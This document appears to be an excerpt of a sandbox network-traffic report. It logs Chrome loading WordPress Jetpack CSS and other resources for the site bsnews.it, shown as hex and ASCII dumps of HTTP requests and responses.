2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 36 2f 38 70 44 36 53 73 41 67 4d 71 6c 57 6e 58 6f 55 69 70 57 49 55 32 51 77 7a 48 31 79 4d 79 4b 46 2b 78 61 6c 57 73 50 69 4f 36 46 50 4c 55 79 74 4f 6f 58 6f 73 61 67 56 53 4a 52 49 4d 36 54 62 6f 4a 69 68 5a 71 31 71 70 54 76 32 47 39 4d 73 6f 68 43 70 67 78 41 63 69 48 52 30 62 77 76 78 42 64 6b 50 68 66 52 42 62 2f 4b 36 54 67 44 54 53 51 41 59 41 42 55 67 6e 77 67 4a 51 42 66 43 44 74 67 41 42 49 42 79 41 45 55 67 53 49 67 4a 51 43 59 6d 68 73 49 41 46 53 41 62 42 41 32 67 41 70 6b 43 46 41 42 69 49 4d 63 6f 68 77 79 41 6b 52 50 6e 4a 53 52 41 39 79 43 6f 6b 41 42 73 67 67 77 41 4f 53 44 2f 43 42 46 41 4e 43 49 4e 55 41 42 36 51 4b 6b 41 56 69 41 58 6c 41 2b 67 44 35 51 45 59 41 42 55 43 36 41 49 58 51 41 42 52 42 49 7a 30 6f 42 6c 49 4c 4b 49 47 Data Ascii: 6/8pD6SsAgMqlWnXoUipWIU2QwzH1yMyKF+xalWsPiO6FPLUytOoXosagVSJRIM6TboJihZq1qpTv2G9MsohCpgxAciHR0bwvxBdkPhfRBb/K6TgDTSQAYABUgnwgJQBfCDtgABIByAEUgSIgJQCYmhsIAFSAbBA2gApkCFABiIMcohwyAkRPnJSRA9yCokABsggwAOSD/CBFANCINUAB6QKkAViAXlA+gD5QEYABUC6AIXQABRBIz0oBlILKIG
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 69 61 69 34 48 49 42 4d 41 38 71 4d 67 67 77 73 2f 76 2b 5a 43 43 73 79 42 48 35 56 72 6d 38 51 5a 75 69 78 59 49 38 66 7a 56 50 46 31 36 4c 74 30 74 73 38 51 32 32 39 45 4b 5a 4b 6f 65 6f 37 68 55 39 35 4a 67 59 69 34 31 52 43 53 72 4c 6a 72 67 4c 41 50 58 4f 53 7a 78 74 4d 68 72 52 69 41 74 33 4b 46 6b 4b 7a 55 45 51 59 77 51 77 33 41 6d 47 37 51 31 31 68 46 70 74 55 5a 61 6e 49 4b 7a 32 4e 32 59 45 41 57 62 69 67 5a 68 65 4c 36 55 38 73 32 4a 32 70 67 50 49 63 68 4b 57 45 38 30 78 4f 6c 55 58 6f 65 59 33 48 71 34 55 6f 31 6f 54 30 47 7a 6a 4e 79 39 52 5a 6c 59 79 6b 55 64 61 67 6f 76 42 34 4f 6a 4b 62 76 49 50 54 39 6a 54 6a 31 67 63 4f 68 67 67 76 6b 45 33 52 55 34 6c 45 4d 51 65 6f 47 45 2b 68 46 43 35 31 4c 76 4e 50 74 48 50 6e 74 5a 6e 2b 78 4e 42 Data Ascii: iai4HIBMA8qMggws/v+ZCCsyBH5Vrm8QZuixYI8fzVPF16Lt0ts8Q229EKZKoeo7hU95JgYi41RCSrLjrgLAPXOSzxtMhrRiAt3KFkKzUEQYwQw3AmG7Q11hFptUZanIKz2N2YEAWbigZheL6U8s2J2pgPIchKWE80xOlUXoeY3Hq4Uo1oT0GzjNy9RZlYykUdagovB4OjKbvIPT9jTj1gcOhggvkE3RU4lEMQeoGE+hFC51LvNPtHPntZn+xNB
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 65 74 57 30 72 44 42 71 7a 6a 62 76 51 35 65 6a 2b 68 6f 63 4f 53 7a 55 62 4b 75 33 66 58 44 4d 6e 71 59 73 5a 69 59 4c 46 6b 67 45 37 58 73 4f 6d 6c 58 61 64 38 6b 45 47 76 47 54 55 6b 72 78 47 65 38 72 46 4a 57 37 69 4a 55 2f 37 75 75 6b 61 66 75 46 49 71 63 32 42 35 33 71 2f 48 35 6c 72 2f 70 4f 31 34 47 35 33 7a 76 47 2f 66 32 45 68 66 4d 62 75 44 55 38 2b 31 48 71 30 57 41 70 34 6c 4c 68 32 74 48 61 72 75 65 36 57 69 52 6a 34 43 4c 55 5a 47 63 73 50 6c 79 65 79 61 36 6b 32 52 63 78 53 7a 61 53 52 2f 4a 66 58 4b 78 66 74 57 77 45 78 6e 5a 7a 57 69 7a 59 67 53 79 50 4e 50 2f 53 33 49 4a 59 53 6f 51 62 77 6d 79 71 36 45 42 30 42 4b 30 39 55 5a 4f 53 57 58 71 36 72 57 49 50 77 74 37 31 52 7a 72 63 74 37 6b 54 74 69 31 50 76 6c 76 43 61 6e 49 61 66 79 51 Data Ascii: etW0rDBqzjbvQ5ej+hocOSzUbKu3fXDMnqYsZiYLFkgE7XsOmlXad8kEGvGTUkrxGe8rFJW7iJU/7uukafuFIqc2B53q/H5lr/pO14G53zvG/f2EhfMbuDU8+1Hq0WAp4lLh2tHarue6WiRj4CLUZGcsPlyeya6k2RcxSzaSR/JfXKxftWwExnZzWizYgSyPNP/S3IJYSoQbwmyq6EB0BK09UZOSWXq6rWIPwt71Rzrct7kTti1PvlvCanIafyQ
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 62 6e 78 41 54 75 65 38 47 53 35 4c 38 6e 69 6c 33 6e 5a 34 53 7a 57 45 48 47 62 69 64 67 76 74 5a 50 31 6d 4e 4e 61 33 50 4a 30 67 58 58 77 51 78 42 35 73 48 2b 64 53 69 4f 43 2f 38 76 4b 4c 68 5a 51 4f 43 2b 58 6d 70 6b 54 44 46 4c 78 72 30 6d 53 42 66 35 4d 77 55 4a 55 56 35 73 6c 6b 63 4d 54 50 79 7a 4f 53 39 32 2b 6d 57 2b 42 50 50 35 68 62 2f 53 67 32 58 2f 47 77 7a 62 66 69 76 68 77 38 65 72 47 6d 4f 42 67 53 47 41 48 39 45 53 50 75 6c 32 63 46 67 67 4b 34 30 4d 72 4a 30 66 4d 70 4c 49 38 66 76 58 75 4a 2f 75 72 39 6b 44 49 76 6a 57 6c 59 2b 6d 65 4d 63 52 6a 4c 79 62 5a 43 42 64 61 52 38 41 30 37 76 75 79 58 36 39 76 4b 50 75 30 74 48 4e 54 53 5a 73 57 49 2b 69 6d 31 45 70 72 41 2f 72 53 39 36 70 69 77 4c 4e 39 57 58 5a 74 79 61 65 2b 76 76 54 47 Data Ascii: bnxATue8GS5L8nil3nZ4SzWEHGbidgvtZP1mNNa3PJ0gXXwQxB5sH+dSiOC/8vKLhZQOC+XmpkTDFLxr0mSBf5MwUJUV5slkcMTPyzOS92+mW+BPP5hb/Sg2X/Gwzbfivhw8erGmOBgSGAH9ESPul2cFggK40MrJ0fMpLI8fvXuJ/ur9kDIvjWlY+meMcRjLybZCBdaR8A07vuyX69vKPu0tHNTSZsWI+im1EprA/rS96piwLN9WXZtyae+vvTG
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 39 66 6d 73 66 47 31 33 42 42 63 71 4f 50 75 54 37 76 64 7a 64 79 44 6f 36 73 71 6d 74 53 49 41 61 61 56 74 4b 75 44 38 72 6e 4a 65 49 6b 55 32 2b 50 64 79 50 6d 68 5a 74 48 52 46 7a 37 68 57 48 35 71 45 44 71 57 51 4b 6b 64 53 62 72 69 6e 37 79 6d 6a 78 53 30 71 4d 58 78 62 45 59 50 44 67 66 6a 72 31 39 52 5a 33 65 6f 6b 50 70 59 47 4e 43 63 66 39 6f 45 46 2b 53 44 61 49 76 72 52 30 66 46 44 35 43 55 54 31 51 52 57 64 69 34 43 50 32 32 41 31 6b 2f 67 4a 61 6f 4d 72 42 48 4a 77 4f 70 47 79 66 78 32 39 38 2b 33 68 41 4f 2f 78 74 48 63 4f 42 50 4f 4c 62 61 50 70 52 43 76 35 46 39 42 52 41 58 51 39 7a 54 35 38 65 76 7a 7a 53 4c 30 41 72 52 49 68 58 46 69 73 6d 69 59 38 64 6f 46 42 50 4f 43 4d 6c 78 34 4f 79 59 4a 30 78 36 48 47 34 74 56 2f 51 65 54 71 4b 31 Data Ascii: 9fmsfG13BBcqOPuT7vdzdyDo6sqmtSIAaaVtKuD8rnJeIkU2+PdyPmhZtHRFz7hWH5qEDqWQKkdSbrin7ymjxS0qMXxbEYPDgfjr19RZ3eokPpYGNCcf9oEF+SDaIvrR0fFD5CUT1QRWdi4CP22A1k/gJaoMrBHJwOpGyfx298+3hAO/xtHcOBPOLbaPpRCv5F9BRAXQ9zT58evzzSL0ArRIhXFismiY8doFBPOCMlx4OyYJ0x6HG4tV/QeTqK1
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 74 54 4d 61 43 59 6c 45 57 76 42 70 6e 62 2b 61 2b 30 73 47 49 34 69 32 68 32 4c 4f 58 5a 77 52 4f 75 4b 63 37 57 30 4f 47 69 48 61 59 37 4f 79 57 57 78 44 47 5a 6c 75 52 71 62 44 6f 73 50 6c 77 31 31 78 5a 6b 51 42 33 4b 4a 48 78 45 66 75 52 6c 45 48 4b 36 34 36 59 2b 56 49 6d 47 74 57 33 62 34 52 73 67 31 49 64 76 6b 69 44 76 35 73 4e 67 6c 50 75 79 45 67 57 6e 51 42 4f 52 6d 41 51 62 58 74 54 6a 39 57 6f 6b 44 79 41 41 78 4a 6c 37 76 4e 7a 48 31 38 38 76 53 52 72 79 50 33 43 64 36 44 61 7a 79 38 6e 50 43 57 32 4c 6b 45 31 4d 6d 79 71 50 6a 6f 36 6b 31 4e 64 53 59 56 59 55 38 46 46 34 4c 51 65 4b 57 6a 4e 78 51 46 4f 79 58 43 57 47 47 5a 49 53 5a 38 43 59 52 66 44 66 4c 4f 42 59 4c 61 68 47 68 79 48 63 6c 44 50 6e 38 65 4b 59 4e 6b 6b 48 67 30 78 48 4e Data Ascii: tTMaCYlEWvBpnb+a+0sGI4i2h2LOXZwROuKc7W0OGiHaY7OyWWxDGZluRqbDosPlw11xZkQB3KJHxEfuRlEHK646Y+VImGtW3b4Rsg1IdvkiDv5sNglPuyEgWnQBORmAQbXtTj9WokDyAAxJl7vNzH188vSRryP3Cd6Dazy8nPCW2LkE1MmyqPjo6k1NdSYVYU8FF4LQeKWjNxQFOyXCWGGZISZ8CYRfDfLOBYLahGhyHclDPn8eKYNkkHg0xHN
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 62 58 79 68 75 75 72 54 6d 41 41 6e 56 52 65 77 2b 72 69 2b 74 6a 4c 64 33 51 30 53 48 76 51 54 74 61 50 6f 4a 4f 4a 75 37 4c 6f 38 4b 4c 54 6e 49 66 32 4e 4c 2f 47 71 6f 4f 31 43 47 64 65 34 73 39 6f 37 38 53 79 4f 6c 76 38 58 44 54 41 66 66 47 44 33 32 2f 4e 69 49 38 6b 44 31 6d 71 78 34 6e 2b 76 39 50 6b 50 72 58 38 58 38 7a 55 76 67 52 70 53 7a 2f 58 46 41 52 4e 50 4c 4c 34 51 61 6c 7a 73 39 36 4b 52 55 53 73 73 79 6f 48 31 45 63 71 6e 59 73 48 34 4b 75 58 64 33 46 69 4c 56 33 38 53 53 47 61 48 53 46 7a 65 48 6b 73 58 7a 50 4b 4b 49 4a 45 55 71 38 57 33 57 52 55 6c 2b 6f 65 71 2f 39 6c 57 72 55 2f 74 37 46 4b 50 4b 4c 65 71 6a 39 75 30 76 6b 4b 4a 68 76 46 6d 76 4b 48 6e 38 7a 4b 51 66 2b 36 4d 6c 53 2f 6f 71 32 65 4f 44 54 68 64 69 6e 2f 45 54 4f 6a Data Ascii: bXyhuurTmAAnVRew+ri+tjLd3Q0SHvQTtaPoJOJu7Lo8KLTnIf2NL/GqoO1CGde4s9o78SyOlv8XDTAffGD32/NiI8kD1mqx4n+v9PkPrX8X8zUvgRpSz/XFARNPLL4Qalzs96KRUSssyoH1EcqnYsH4KuXd3FiLV38SSGaHSFzeHksXzPKKIJEUq8W3WRUl+oeq/9lWrU/t7FKPKLeqj9u0vkKJhvFmvKHn8zKQf+6MlS/oq2eODThdin/ETOj
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 74 65 6e 74 3a 22 5c 66 36 30 32 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 62 6c 75 65 73 6b 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 31 30 66 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 63 6f 64 65 70 65 6e 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 31 36 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 64 72 69 62 62 62 6c 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 30 31 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 64 72 6f 70 62 6f 78 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 35 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 65 76 65 6e 74 62 72 69 74 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 30 33 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f Data Ascii: tent:"\f602"}.social-logo__bluesky:before{content:"\f10f"}.social-logo__codepen:before{content:"\f216"}.social-logo__dribbble:before{content:"\f201"}.social-logo__dropbox:before{content:"\f225"}.social-logo__eventbrite:before{content:"\f603"}.social-logo_
2024-03-28 08:50:59 UTC	1017	IN	Data Raw: 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 36 39 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 72 65 64 64 69 74 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 32 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 73 68 61 72 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 34 31 35 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 73 6b 79 70 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 32 32 30 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 73 70 6f 74 69 66 79 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 35 31 35 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f 5f 5f 73 71 75 61 72 65 73 70 61 63 65 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 5c 66 36 30 35 22 7d 2e 73 6f 63 69 61 6c 2d 6c 6f 67 6f Data Ascii: re{content:"\f469"}.social-logo__reddit:before{content:"\f222"}.social-logo__share:before{content:"\f415"}.social-logo__skype:before{content:"\f220"}.social-logo__spotify:before{content:"\f515"}.social-logo__squarespace:before{content:"\f605"}.social-logo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49751	192.0.77.37	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:50:59 UTC	548	OUT	GET /p/jetpack/13.2.2/css/jetpack.css HTTP/1.1 Host: c0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:50:59 UTC	521	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:50:59 GMT Content-Type: text/css Content-Length: 107339 Connection: close Vary: Accept-Encoding Last-Modified: Fri, 22 Mar 2024 09:30:19 GMT Alt-Svc: h3=":443"; ma=86400 Expires: Fri, 28 Mar 2025 08:50:59 GMT Cache-Control: max-age=31536000 Alt-Svc: h3=":443"; ma=86400 Strict-Transport-Security: max-age=15552000 X-nc: HIT dca 2 Timing-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Accept-Ranges: bytes
2024-03-28 08:50:59 UTC	848	IN	Data Raw: 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 77 69 70 65 72 2d 69 63 6f 6e 73 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 73 72 63 3a 75 72 6c 28 22 64 61 74 61 3a 61 70 70 6c 69 63 61 74 69 6f 6e 2f 66 6f 6e 74 2d 77 6f 66 66 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3b 62 61 73 65 36 34 2c 20 64 30 39 47 52 67 41 42 41 41 41 41 41 41 5a 67 41 42 41 41 41 41 41 41 44 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 42 47 52 6c 52 4e 41 41 41 47 52 41 41 41 41 42 6f 41 41 41 41 63 69 36 71 48 6b 55 64 45 52 55 59 41 41 41 57 67 41 41 41 41 49 77 41 41 41 43 51 41 59 41 Data Ascii: @charset "UTF-8";@font-face{font-family:swiper-icons;font-style:normal;font-weight:400;src:url("data:application/font-woff;charset=utf-8;base64, d09GRgABAAAAAAZgABAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABGRlRNAAAGRAAAABoAAAAci6qHkUdERUYAAAWgAAAAIwAAACQAYA
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 67 2f 77 45 47 50 63 59 44 44 41 34 77 4e 55 41 32 43 43 67 77 73 41 41 41 4f 34 45 4c 36 67 41 41 65 4e 70 6a 32 4d 30 67 79 41 41 43 71 78 67 47 4e 57 42 6b 5a 32 44 34 2f 77 4d 41 2b 78 6b 44 64 67 41 41 41 48 6a 61 59 32 42 67 59 47 61 41 59 42 6b 47 52 67 59 51 69 41 48 79 47 4d 46 38 46 67 59 48 49 4d 33 44 77 4d 48 41 42 47 51 72 4d 4f 67 79 57 44 4c 45 4d 31 54 39 2f 77 38 55 42 66 45 4d 67 4c 7a 45 2f 2f 2f 2f 50 2f 35 2f 2f 66 2f 56 2f 78 76 2b 72 34 65 61 41 41 65 4d 62 41 78 77 49 55 59 6d 49 4d 48 45 67 4b 59 41 59 6a 55 63 73 44 41 77 73 4c 4b 78 63 33 42 79 63 66 50 77 38 6a 45 51 41 2f 67 5a 42 41 53 46 68 45 56 45 78 63 51 6c 4a 4b 57 6b 5a 57 54 6c 35 42 55 55 6c 5a 52 56 56 4e 58 55 4e 54 51 5a 42 67 4d 41 41 4d 52 2b 45 2b 67 41 45 51 Data Ascii: g/wEGPcYDDA4wNUA2CCgwsAAAO4EL6gAAeNpj2M0gyAACqxgGNWBkZ2D4/wMA+xkDdgAAAHjaY2BgYGaAYBkGRgYQiAHyGMF8FgYHIM3DwMHABGQrMOgyWDLEM1T9/w8UBfEMgLzE////P/5//f/V/xv+r4eaAAeMbAxwIUYmIMHEgKYAYjUcsDAwsLKxc3BycfPw8jEQA/gZBASFhEVExcQlJKWkZWTl5BUUlZRVVNXUNTQZBgMAAMR+E+gAEQ
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 42 33 4e 34 32 6d 4e 67 5a 47 42 67 34 47 4b 51 59 7a 42 68 59 4d 78 4a 4c 4d 6c 6a 34 47 42 67 41 59 6f 77 2f 50 2f 50 41 4a 4a 68 4c 4d 36 73 53 6f 57 4b 66 57 43 41 41 77 44 41 6a 67 62 52 41 41 42 34 32 6d 4e 67 59 47 42 6b 41 49 49 62 43 5a 6f 35 49 50 72 6d 55 6e 30 68 47 41 30 41 4f 38 45 46 54 51 41 41 22 29 20 66 6f 72 6d 61 74 28 22 77 6f 66 66 22 29 7d 3a 72 6f 6f 74 7b 2d 2d 73 77 69 70 65 72 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3a 23 30 30 37 61 66 66 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 61 75 74 6f 3b 6f 76 65 72 66 6c 6f 77 Data Ascii: B3N42mNgZGBg4GKQYzBhYMxJLMlj4GBgAYow/P/PAJJhLM6sSoWKfWCAAwDAjgbRAAB42mNgYGBkAIIbCZo5IPrmUn0hGA0AO8EFTQAA") format("woff")}:root{--swiper-theme-color:#007aff}.jp-carousel-overlay .swiper-container{list-style:none;margin-left:auto;margin-right:auto;overflow
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 68 65 69 67 68 74 2c 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 61 75 74 6f 68 65 69 67 68 74 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 7b 68 65 69 67 68 74 3a 61 75 74 6f 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 61 75 74 6f 68 65 69 67 68 74 20 2e 73 77 69 70 65 72 2d 77 72 61 70 70 65 72 7b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 66 6c 65 78 2d 73 74 61 72 74 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 70 72 6f 70 65 72 74 79 3a 74 72 61 6e 73 66 6f 72 6d 2c 68 65 69 67 68 74 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 33 64 7b 70 65 72 73 Data Ascii: height,.jp-carousel-overlay .swiper-container-autoheight .swiper-slide{height:auto}.jp-carousel-overlay .swiper-container-autoheight .swiper-wrapper{align-items:flex-start;transition-property:transform,height}.jp-carousel-overlay .swiper-container-3d{pers
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 6e 73 70 61 72 65 6e 74 29 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 33 64 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 73 68 61 64 6f 77 2d 74 6f 70 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 30 64 65 67 2c 72 67 62 61 28 30 2c 30 2c 30 2c 2e 35 29 2c 74 72 61 6e 73 70 61 72 65 6e 74 29 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 33 64 20 2e 73 77 69 70 65 72 2d 73 6c 69 64 65 2d 73 68 61 64 6f 77 2d 62 6f 74 74 6f 6d 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 38 30 64 65 67 2c 72 67 Data Ascii: nsparent)}.jp-carousel-overlay .swiper-container-3d .swiper-slide-shadow-top{background-image:linear-gradient(0deg,rgba(0,0,0,.5),transparent)}.jp-carousel-overlay .swiper-container-3d .swiper-slide-shadow-bottom{background-image:linear-gradient(180deg,rg
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 62 75 74 74 6f 6e 2d 70 72 65 76 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 64 69 73 61 62 6c 65 64 7b 63 75 72 73 6f 72 3a 61 75 74 6f 3b 6f 70 61 63 69 74 79 3a 2e 33 35 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 6e 65 78 74 3a 61 66 74 65 72 2c 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 62 75 74 74 6f 6e 2d 70 72 65 76 3a 61 66 74 65 72 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 77 69 70 65 72 2d 69 63 6f 6e 73 3b 66 6f 6e 74 2d 73 69 7a 65 3a 76 61 72 28 2d 2d 73 77 69 70 65 72 2d 6e 61 76 69 67 61 74 69 6f 6e 2d 73 69 7a 65 29 3b 66 6f 6e 74 2d 76 61 72 69 61 6e 74 3a 6e 6f 72 6d Data Ascii: button-prev.swiper-button-disabled{cursor:auto;opacity:.35;pointer-events:none}.jp-carousel-overlay .swiper-button-next:after,.jp-carousel-overlay .swiper-button-prev:after{font-family:swiper-icons;font-size:var(--swiper-navigation-size);font-variant:norm
2024-03-28 08:50:59 UTC	1369	IN	Data Raw: 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 68 69 64 64 65 6e 7b 6f 70 61 63 69 74 79 3a 30 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 63 6f 6e 74 61 69 6e 65 72 2d 68 6f 72 69 7a 6f 6e 74 61 6c 3e 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2c 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 63 75 73 74 6f 6d 2c 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 66 72 61 63 74 69 6f 6e 7b 62 6f 74 74 6f 6d 3a 31 30 70 78 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e Data Ascii: iper-pagination.swiper-pagination-hidden{opacity:0}.jp-carousel-overlay .swiper-container-horizontal>.swiper-pagination-bullets,.jp-carousel-overlay .swiper-pagination-custom,.jp-carousel-overlay .swiper-pagination-fraction{bottom:10px;left:0;width:100%}.
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 63 6c 69 63 6b 61 62 6c 65 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 2d 61 63 74 69 76 65 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 76 61 72 28 2d 2d 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 63 6f 6c 6f 72 2c 76 61 72 28 2d 2d 73 77 69 70 65 72 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 29 29 3b 6f 70 61 63 69 74 Data Ascii: ;box-shadow:none;margin:0;padding:0}.jp-carousel-overlay .swiper-pagination-clickable .swiper-pagination-bullet{cursor:pointer}.jp-carousel-overlay .swiper-pagination-bullet-active{background:var(--swiper-pagination-color,var(--swiper-theme-color));opacit
2024-03-28 08:51:00 UTC	1369	IN	Data Raw: 74 61 69 6e 65 72 2d 72 74 6c 3e 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 73 2d 64 79 6e 61 6d 69 63 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 62 75 6c 6c 65 74 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 74 72 61 6e 73 66 6f 72 6d 20 2e 32 73 2c 72 69 67 68 74 20 2e 32 73 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 2e 73 77 69 70 65 72 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 70 72 6f 67 72 65 73 73 62 61 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 72 67 62 61 28 30 2c 30 2c 30 2c 2e 32 35 29 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 6a 70 2d 63 61 72 6f 75 73 65 6c 2d 6f 76 65 72 6c 61 79 20 